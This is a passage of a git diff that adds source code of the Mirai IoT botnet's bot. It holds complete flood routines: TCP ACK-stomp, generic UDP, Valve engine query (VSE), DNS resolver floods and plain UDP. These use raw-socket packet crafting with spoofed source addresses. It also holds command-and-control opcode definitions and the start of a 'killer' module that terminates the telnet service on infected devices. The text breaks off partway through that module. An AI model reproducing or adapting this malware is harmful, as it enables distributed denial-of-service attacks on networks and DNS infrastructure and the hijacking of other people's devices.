targs[0].sock_addr.sin_port = tcph->dest; +// if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1) +// { +// +// } + + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *pkt = pkts[i]; + struct iphdr *iph = (struct iphdr *)pkt; + struct tcphdr *tcph = (struct tcphdr *)(iph + 1); + char *data = (char *)(tcph + 1); + + // For prefix attacks + if (targs[i].netmask < 32) + iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); + + if (source_ip == 0xffffffff) + iph->saddr = rand_next(); + if (ip_ident == 0xffff) + iph->id = rand_next() & 0xffff; + if (sport == 0xffff) + tcph->source = rand_next() & 0xffff; + if (dport == 0xffff) + tcph->dest = rand_next() & 0xffff; + if (seq == 0xffff) + tcph->seq = rand_next(); + if (ack == 0xffff) + tcph->ack_seq = rand_next(); + + // Randomize packet content? + if (data_rand) + rand_str(data, data_len); + + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + tcph->check = 0; + tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len); + + targs[i].sock_addr.sin_port = tcph->dest; + sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); + } +#ifdef DEBUG + break; + if (errno != 0) + printf("errno = %d\n", errno); +#endif + } +} + +void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, rfd; + struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data)); + char **pkts = calloc(targs_len, sizeof (char *)); + uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); + uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); + uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); + BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); + BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); + BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE); + BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE); + BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); + BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE); + BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); + int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768); + BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); + + // Set up receive socket + if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) + { +#ifdef DEBUG + printf("Could not open raw socket!\n"); +#endif + return; + } + i = 1; + if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) + { +#ifdef DEBUG + printf("Failed to set IP_HDRINCL. Aborting\n"); +#endif + close(rfd); + return; + } + + // Retrieve all ACK/SEQ numbers + for (i = 0; i < targs_len; i++) + { + int fd; + struct sockaddr_in addr, recv_addr; + socklen_t recv_addr_len; + char pktbuf[256]; + time_t start_recv; + + stomp_setup_nums: + + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { +#ifdef DEBUG + printf("Failed to create socket!\n"); +#endif + continue; + } + + // Set it in nonblocking mode + fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK); + + // Set up address to connect to + addr.sin_family = AF_INET; + if (targs[i].netmask < 32) + addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); + else + addr.sin_addr.s_addr = targs[i].addr; + if (dport == 0xffff) + addr.sin_port = rand_next() & 0xffff; + else + addr.sin_port = htons(dport); + + // Actually connect, nonblocking + connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); + start_recv = time(NULL); + + // Get info + while (TRUE) + { + int ret; + + recv_addr_len = sizeof (struct sockaddr_in); + ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len); + if (ret == -1) + { +#ifdef DEBUG + printf("Could not listen on raw socket!\n"); +#endif + return; + } + if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr))) + { + struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr)); + + if (tcph->source == addr.sin_port) + { + if (tcph->syn && tcph->ack) + { + struct iphdr *iph; + struct tcphdr *tcph; + char *payload; + + stomp_data[i].addr = addr.sin_addr.s_addr; + stomp_data[i].seq = ntohl(tcph->seq); + stomp_data[i].ack_seq = ntohl(tcph->ack_seq); + stomp_data[i].sport = tcph->dest; + stomp_data[i].dport = addr.sin_port; +#ifdef DEBUG + printf("ACK Stomp got SYN+ACK!\n"); +#endif + // Set up the packet + pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); + iph = (struct iphdr *)pkts[i]; + tcph = (struct tcphdr *)(iph + 1); + payload = (char *)(tcph + 1); + + iph->version = 4; + iph->ihl = 5; + iph->tos = ip_tos; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); + iph->id = htons(ip_ident); + iph->ttl = ip_ttl; + if (dont_frag) + iph->frag_off = htons(1 << 14); + iph->protocol = IPPROTO_TCP; + iph->saddr = LOCAL_ADDR; + iph->daddr = stomp_data[i].addr; + + tcph->source = stomp_data[i].sport; + tcph->dest = stomp_data[i].dport; + tcph->seq = stomp_data[i].ack_seq; + tcph->ack_seq = stomp_data[i].seq; + tcph->doff = 8; + tcph->fin = TRUE; + tcph->ack = TRUE; + tcph->window = rand_next() & 0xffff; + tcph->urg = urg_fl; + tcph->ack = ack_fl; + tcph->psh = psh_fl; + tcph->rst = rst_fl; + tcph->syn = syn_fl; + tcph->fin = fin_fl; + + rand_str(payload, data_len); + break; + } + else if (tcph->fin || tcph->rst) + { + close(fd); + goto stomp_setup_nums; + } + } + } + + if (time(NULL) - start_recv > 10) + { +#ifdef DEBUG + printf("Couldn't connect to host for ACK Stomp in time. Retrying\n"); +#endif + close(fd); + goto stomp_setup_nums; + } + } + } + + // Start spewing out traffic + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *pkt = pkts[i]; + struct iphdr *iph = (struct iphdr *)pkt; + struct tcphdr *tcph = (struct tcphdr *)(iph + 1); + char *data = (char *)(tcph + 1); + + if (ip_ident == 0xffff) + iph->id = rand_next() & 0xffff; + + if (data_rand) + rand_str(data, data_len); + + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + tcph->seq = htons(stomp_data[i].seq++); + tcph->ack_seq = htons(stomp_data[i].ack_seq); + tcph->check = 0; + tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len); + + targs[i].sock_addr.sin_port = tcph->dest; + sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); + } +#ifdef DEBUG + break; + if (errno != 0) + printf("errno = %d\n", errno); +#endif + } +} diff --git a/mirai/bot/attack_udp.c b/mirai/bot/attack_udp.c new file mode 100755 index 0000000..484f5a1 --- /dev/null +++ b/mirai/bot/attack_udp.c @@ -0,0 +1,547 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include + +#include "includes.h" +#include "attack.h" +#include "checksum.h" +#include "rand.h" +#include "util.h" +#include "table.h" +#include "protocol.h" + +static ipv4_t get_dns_resolver(void); + +void attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, fd; + char **pkts = calloc(targs_len, sizeof (char *)); + uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); + uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); + uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); + BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); + port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); + uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); + BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); + uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); + + if (data_len > 1460) + data_len = 1460; + + if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) + { +#ifdef DEBUG + printf("Failed to create raw socket. Aborting attack\n"); +#endif + return; + } + i = 1; + if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) + { +#ifdef DEBUG + printf("Failed to set IP_HDRINCL. Aborting\n"); +#endif + close(fd); + return; + } + + for (i = 0; i < targs_len; i++) + { + struct iphdr *iph; + struct udphdr *udph; + + pkts[i] = calloc(1510, sizeof (char)); + iph = (struct iphdr *)pkts[i]; + udph = (struct udphdr *)(iph + 1); + + iph->version = 4; + iph->ihl = 5; + iph->tos = ip_tos; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); + iph->id = htons(ip_ident); + iph->ttl = ip_ttl; + if (dont_frag) + iph->frag_off = htons(1 << 14); + iph->protocol = IPPROTO_UDP; + iph->saddr = source_ip; + iph->daddr = targs[i].addr; + + udph->source = htons(sport); + udph->dest = htons(dport); + udph->len = htons(sizeof (struct udphdr) + data_len); + } + + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *pkt = pkts[i]; + struct iphdr *iph = (struct iphdr *)pkt; + struct udphdr *udph = (struct udphdr *)(iph + 1); + char *data = (char *)(udph + 1); + + // For prefix attacks + if (targs[i].netmask < 32) + iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); + + if (source_ip == 0xffffffff) + iph->saddr = rand_next(); + + if (ip_ident == 0xffff) + iph->id = (uint16_t)rand_next(); + if (sport == 0xffff) + udph->source = rand_next(); + if (dport == 0xffff) + udph->dest = rand_next(); + + // Randomize packet content? + if (data_rand) + rand_str(data, data_len); + + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + udph->check = 0; + udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len); + + targs[i].sock_addr.sin_port = udph->dest; + sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); + } +#ifdef DEBUG + break; + if (errno != 0) + printf("errno = %d\n", errno); +#endif + } +} + +void attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, fd; + char **pkts = calloc(targs_len, sizeof (char *)); + uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); + uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); + uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); + BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); + port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015); + char *vse_payload; + int vse_payload_len; + + table_unlock_val(TABLE_ATK_VSE); + vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len); + + if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) + { +#ifdef DEBUG + printf("Failed to create raw socket. Aborting attack\n"); +#endif + return; + } + i = 1; + if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) + { +#ifdef DEBUG + printf("Failed to set IP_HDRINCL. Aborting\n"); +#endif + close(fd); + return; + } + + for (i = 0; i < targs_len; i++) + { + struct iphdr *iph; + struct udphdr *udph; + char *data; + + pkts[i] = calloc(128, sizeof (char)); + iph = (struct iphdr *)pkts[i]; + udph = (struct udphdr *)(iph + 1); + data = (char *)(udph + 1); + + iph->version = 4; + iph->ihl = 5; + iph->tos = ip_tos; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len); + iph->id = htons(ip_ident); + iph->ttl = ip_ttl; + if (dont_frag) + iph->frag_off = htons(1 << 14); + iph->protocol = IPPROTO_UDP; + iph->saddr = LOCAL_ADDR; + iph->daddr = targs[i].addr; + + udph->source = htons(sport); + udph->dest = htons(dport); + udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len); + + *((uint32_t *)data) = 0xffffffff; + data += sizeof (uint32_t); + util_memcpy(data, vse_payload, vse_payload_len); + } + + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *pkt = pkts[i]; + struct iphdr *iph = (struct iphdr *)pkt; + struct udphdr *udph = (struct udphdr *)(iph + 1); + + // For prefix attacks + if (targs[i].netmask < 32) + iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); + + if (ip_ident == 0xffff) + iph->id = (uint16_t)rand_next(); + if (sport == 0xffff) + udph->source = rand_next(); + if (dport == 0xffff) + udph->dest = rand_next(); + + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + udph->check = 0; + udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len); + + targs[i].sock_addr.sin_port = udph->dest; + sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); + } +#ifdef DEBUG + break; + if (errno != 0) + printf("errno = %d\n", errno); +#endif + } +} + +void attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, fd; + char **pkts = calloc(targs_len, sizeof (char *)); + uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); + uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); + uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); + BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); + port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53); + uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff); + uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12); + char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL); + int domain_len; + ipv4_t dns_resolver = get_dns_resolver(); + + if (domain == NULL) + { +#ifdef DEBUG + printf("Cannot send DNS flood without a domain\n"); +#endif + return; + } + domain_len = util_strlen(domain); + + if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) + { +#ifdef DEBUG + printf("Failed to create raw socket. Aborting attack\n"); +#endif + return; + } + i = 1; + if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) + { +#ifdef DEBUG + printf("Failed to set IP_HDRINCL. Aborting\n"); +#endif + close(fd); + return; + } + + for (i = 0; i < targs_len; i++) + { + int ii; + uint8_t curr_word_len = 0, num_words = 0; + struct iphdr *iph; + struct udphdr *udph; + struct dnshdr *dnsh; + char *qname, *curr_lbl; + struct dns_question *dnst; + + pkts[i] = calloc(600, sizeof (char)); + iph = (struct iphdr *)pkts[i]; + udph = (struct udphdr *)(iph + 1); + dnsh = (struct dnshdr *)(udph + 1); + qname = (char *)(dnsh + 1); + + iph->version = 4; + iph->ihl = 5; + iph->tos = ip_tos; + iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); + iph->id = htons(ip_ident); + iph->ttl = ip_ttl; + if (dont_frag) + iph->frag_off = htons(1 << 14); + iph->protocol = IPPROTO_UDP; + iph->saddr = LOCAL_ADDR; + iph->daddr = dns_resolver; + + udph->source = htons(sport); + udph->dest = htons(dport); + udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); + + dnsh->id = htons(dns_hdr_id); + dnsh->opts = htons(1 << 8); // Recursion desired + dnsh->qdcount = htons(1); + + // Fill out random area + *qname++ = data_len; + qname += data_len; + + curr_lbl = qname; + util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed + + // Write in domain + for (ii = 0; ii < domain_len; ii++) + { + if (domain[ii] == '.') + { + *curr_lbl = curr_word_len; + curr_word_len = 0; + num_words++; + curr_lbl = qname + ii + 1; + } + else + curr_word_len++; + } + *curr_lbl = curr_word_len; + + dnst = (struct dns_question *)(qname + domain_len + 2); + dnst->qtype = htons(PROTO_DNS_QTYPE_A); + dnst->qclass = htons(PROTO_DNS_QCLASS_IP); + } + + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *pkt = pkts[i]; + struct iphdr *iph = (struct iphdr *)pkt; + struct udphdr *udph = (struct udphdr *)(iph + 1); + struct dnshdr *dnsh = (struct dnshdr *)(udph + 1); + char *qrand = ((char *)(dnsh + 1)) + 1; + + if (ip_ident == 0xffff) + iph->id = rand_next() & 0xffff; + if (sport == 0xffff) + udph->source = rand_next() & 0xffff; + if (dport == 0xffff) + udph->dest = rand_next() & 0xffff; + + if (dns_hdr_id == 0xffff) + dnsh->id = rand_next() & 0xffff; + + rand_alphastr((uint8_t *)qrand, data_len); + + iph->check = 0; + iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); + + udph->check = 0; + udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); + + targs[i].sock_addr.sin_addr.s_addr = dns_resolver; + targs[i].sock_addr.sin_port = udph->dest; + sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); + } +#ifdef DEBUG + break; + if (errno != 0) + printf("errno = %d\n", errno); +#endif + } +} + +void attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ +#ifdef DEBUG + printf("in udp plain\n"); +#endif + + int i; + char **pkts = calloc(targs_len, sizeof (char *)); + int *fds = calloc(targs_len, sizeof (int)); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); + port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); + uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); + BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); + struct sockaddr_in bind_addr = {0}; + + if (sport == 0xffff) + { + sport = rand_next(); + } else { + sport = htons(sport); + } + +#ifdef DEBUG + printf("after args\n"); +#endif + + for (i = 0; i < targs_len; i++) + { + struct iphdr *iph; + struct udphdr *udph; + char *data; + + pkts[i] = calloc(65535, sizeof (char)); + + if (dport == 0xffff) + targs[i].sock_addr.sin_port = rand_next(); + else + targs[i].sock_addr.sin_port = htons(dport); + + if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) + { +#ifdef DEBUG + printf("Failed to create udp socket. Aborting attack\n"); +#endif + return; + } + + bind_addr.sin_family = AF_INET; + bind_addr.sin_port = sport; + bind_addr.sin_addr.s_addr = 0; + + if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1) + { +#ifdef DEBUG + printf("Failed to bind udp socket.\n"); +#endif + } + + // For prefix attacks + if (targs[i].netmask < 32) + targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); + + if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1) + { +#ifdef DEBUG + printf("Failed to connect udp socket.\n"); +#endif + } + } + +#ifdef DEBUG + printf("after setup\n"); +#endif + + while (TRUE) + { + for (i = 0; i < targs_len; i++) + { + char *data = pkts[i]; + + // Randomize packet content? + if (data_rand) + rand_str(data, data_len); + +#ifdef DEBUG + errno = 0; + if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1) + { + printf("send failed: %d\n", errno); + } else { + printf(".\n"); + } +#else + send(fds[i], data, data_len, MSG_NOSIGNAL); +#endif + } +#ifdef DEBUG + break; + if (errno != 0) + printf("errno = %d\n", errno); +#endif + } +} + +static ipv4_t get_dns_resolver(void) +{ + int fd; + + table_unlock_val(TABLE_ATK_RESOLVER); + fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY); + table_lock_val(TABLE_ATK_RESOLVER); + if (fd >= 0) + { + int ret, nspos; + char resolvbuf[2048]; + + ret = read(fd, resolvbuf, sizeof (resolvbuf)); + close(fd); + table_unlock_val(TABLE_ATK_NSERV); + nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL)); + table_lock_val(TABLE_ATK_NSERV); + if (nspos != -1) + { + int i; + char ipbuf[32]; + BOOL finished_whitespace = FALSE; + BOOL found = FALSE; + + for (i = nspos; i < ret; i++) + { + char c = resolvbuf[i]; + + // Skip leading whitespace + if (!finished_whitespace) + { + if (c == ' ' || c == '\t') + continue; + else + finished_whitespace = TRUE; + } + + // End if c is not either a dot or a number + if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1))) + { + util_memcpy(ipbuf, resolvbuf + nspos, i - nspos); + ipbuf[i - nspos] = 0; + found = TRUE; + break; + } + } + + if (found) + { +#ifdef DEBUG + printf("Found local resolver: '%s'\n", ipbuf); +#endif + return inet_addr(ipbuf); + } + } + } + + switch (rand_next() % 4) + { + case 0: + return INET_ADDR(8,8,8,8); + case 1: + return INET_ADDR(74,82,42,42); + case 2: + return INET_ADDR(64,6,64,6); + case 3: + return INET_ADDR(4,2,2,2); + } +} diff --git a/mirai/bot/checksum.c b/mirai/bot/checksum.c new file mode 100755 index 0000000..b4b8190 --- /dev/null +++ b/mirai/bot/checksum.c @@ -0,0 +1,53 @@ +#define _GNU_SOURCE + +#include +#include + +#include "includes.h" +#include "checksum.h" + +uint16_t checksum_generic(uint16_t *addr, uint32_t count) +{ + register unsigned long sum = 0; + + for (sum = 0; count > 1; count -= 2) + sum += *addr++; + if (count == 1) + sum += (char)*addr; + + sum = (sum >> 16) + (sum & 0xFFFF); + sum += (sum >> 16); + + return ~sum; +} + +uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len) +{ + const uint16_t *buf = buff; + uint32_t ip_src = iph->saddr; + uint32_t ip_dst = iph->daddr; + uint32_t sum = 0; + int length = len; + + while (len > 1) + { + sum += *buf; + buf++; + len -= 2; + } + + if (len == 1) + sum += *((uint8_t *) buf); + + sum += (ip_src >> 16) & 0xFFFF; + sum += ip_src & 0xFFFF; + sum += (ip_dst >> 16) & 0xFFFF; + sum += ip_dst & 0xFFFF; + sum += htons(iph->protocol); + sum += data_len; + + while (sum >> 16) + sum = (sum & 0xFFFF) + (sum >> 16); + + return ((uint16_t) (~sum)); +} diff --git a/mirai/bot/checksum.h b/mirai/bot/checksum.h new file mode 100755 index 0000000..dafe95e --- /dev/null +++ b/mirai/bot/checksum.h @@ -0,0 +1,9 @@ +#pragma once + +#include +#include + +#include "includes.h" + +uint16_t checksum_generic(uint16_t *, uint32_t); +uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int); diff --git a/mirai/bot/includes.h b/mirai/bot/includes.h new file mode 100755 index 0000000..63eeeb6 --- /dev/null +++ b/mirai/bot/includes.h @@ -0,0 +1,133 @@ +#pragma once + +#include +#include +#include + +#define STDIN 0 +#define STDOUT 1 +#define STDERR 2 + +#define FALSE 0 +#define TRUE 1 +typedef char BOOL; + +typedef uint32_t ipv4_t; +typedef uint16_t port_t; + +#define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0))) + +#define SINGLE_INSTANCE_PORT 48101 + +#define FAKE_CNC_ADDR INET_ADDR(65,222,202,53) +#define FAKE_CNC_PORT 80 + +#define CNC_OP_PING 0x00 +#define CNC_OP_KILLSELF 0x10 +#define CNC_OP_KILLATTKS 0x20 +#define CNC_OP_PROXY 0x30 +#define CNC_OP_ATTACK 0x40 + +ipv4_t LOCAL_ADDR; + +#ifdef DEBUG +static char *outptr; +static void xputc(char c) +{ + if (outptr) { + *outptr++ = (unsigned char)c; + return; + } else { + write(0, &c, 1); + } +} + +static void xputs(const char *str) +{ + while (*str) + xputc(*str++); +} + +static void xvprintf(const char *fmt, va_list arp) +{ + unsigned int r, i, j, w, f; + unsigned long v; + char s[16], c, d, *p; + for (;;) { + c = *fmt++; /* Get a char */ + if (!c) break; /* End of format? */ + if (c != '%') { /* Pass through it if not a % sequense */ + xputc(c); continue; + } + f = 0; + c = *fmt++; /* Get first char of the sequense */ + if (c == '0') { /* Flag: '0' padded */ + f = 1; c = *fmt++; + } else { + if (c == '-') { /* Flag: left justified */ + f = 2; c = *fmt++; + } + } + for (w = 0; c >= '0' && c <= '9'; c = *fmt++) /* Minimum width */ + w = w * 10 + c - '0'; + if (c == 'l' || c == 'L') { /* Prefix: Size is long int */ + f |= 4; c = *fmt++; + } + if (!c) break; /* End of format? */ + d = c; + //toupper + if (d >= 'a') d -= 0x20; + switch (d) { /* Type is... */ + case 'S' : /* String */ + p = va_arg(arp, char*); + for (j = 0; p[j]; j++) ; + while (!(f & 2) && j++ < w) xputc(' '); + xputs(p); + while (j++ < w) xputc(' '); + continue; + case 'C' : /* Character */ + xputc((char)va_arg(arp, int)); continue; + case 'B' : /* Binary */ + r = 2; break; + case 'O' : /* Octal */ + r = 8; break; + case 'D' : /* Signed decimal */ + case 'U' : /* Unsigned decimal */ + r = 10; break; + case 'X' : /* Hexdecimal */ + r = 16; break; + default: /* Unknown type (passthrough) */ + xputc(c); continue; + } + + /* Get an argument and put it in numeral */ + v = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int)); + if (d == 'D' && (v & 0x80000000)) { + v = 0 - v; + f |= 8; + } + i = 0; + do { + d = (char)(v % r); v /= r; + if (d > 9) d += (c == 'x') ? 0x27 : 0x07; + s[i++] = d + '0'; + } while (v && i < sizeof(s)); + if (f & 8) s[i++] = '-'; + j = i; d = (f & 1) ? '0' : ' '; + while (!(f & 2) && j++ < w) xputc(d); + do xputc(s[--i]); while(i); + while (j++ < w) xputc(' '); + } +} + +static void xprintf(const char *fmt, ...) +{ + va_list arp; + va_start(arp, fmt); + xvprintf(fmt, arp); + va_end(arp); +} +#define printf xprintf + +#endif + diff --git a/mirai/bot/killer.c b/mirai/bot/killer.c new file mode 100755 index 0000000..db1860c --- /dev/null +++ b/mirai/bot/killer.c @@ -0,0 +1,560 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "includes.h" +#include "killer.h" +#include "table.h" +#include "util.h" + +int killer_pid; +char *killer_realpath; +int killer_realpath_len = 0; + +void killer_init(void) +{ + int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd; + uint32_t scan_counter = 0; + struct sockaddr_in tmp_bind_addr; + + // Let parent continue on main thread + killer_pid = fork(); + if (killer_pid > 0 || killer_pid == -1) + return; + + tmp_bind_addr.sin_family = AF_INET; + tmp_bind_addr.sin_addr.s_addr = INADDR_ANY; + + // Kill telnet service and prevent it from restarting +#ifdef KILLER_REBIND_TELNET +#ifdef DEBUG + printf("[killer] Trying to kill port 23\n"); +#endif + if (killer_kill_by_port(htons(23))) + { +#ifdef DEBUG + printf("[killer] Killed tcp/23 (telnet)\n"); +#endif + } else { +#ifdef DEBUG + printf("[killer] Failed to kill port 23\n"); +#endif + } + tmp_bind_addr.sin_port = htons(23); + + if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) + { + bind(tmp_bind_fd, (struct sockaddr 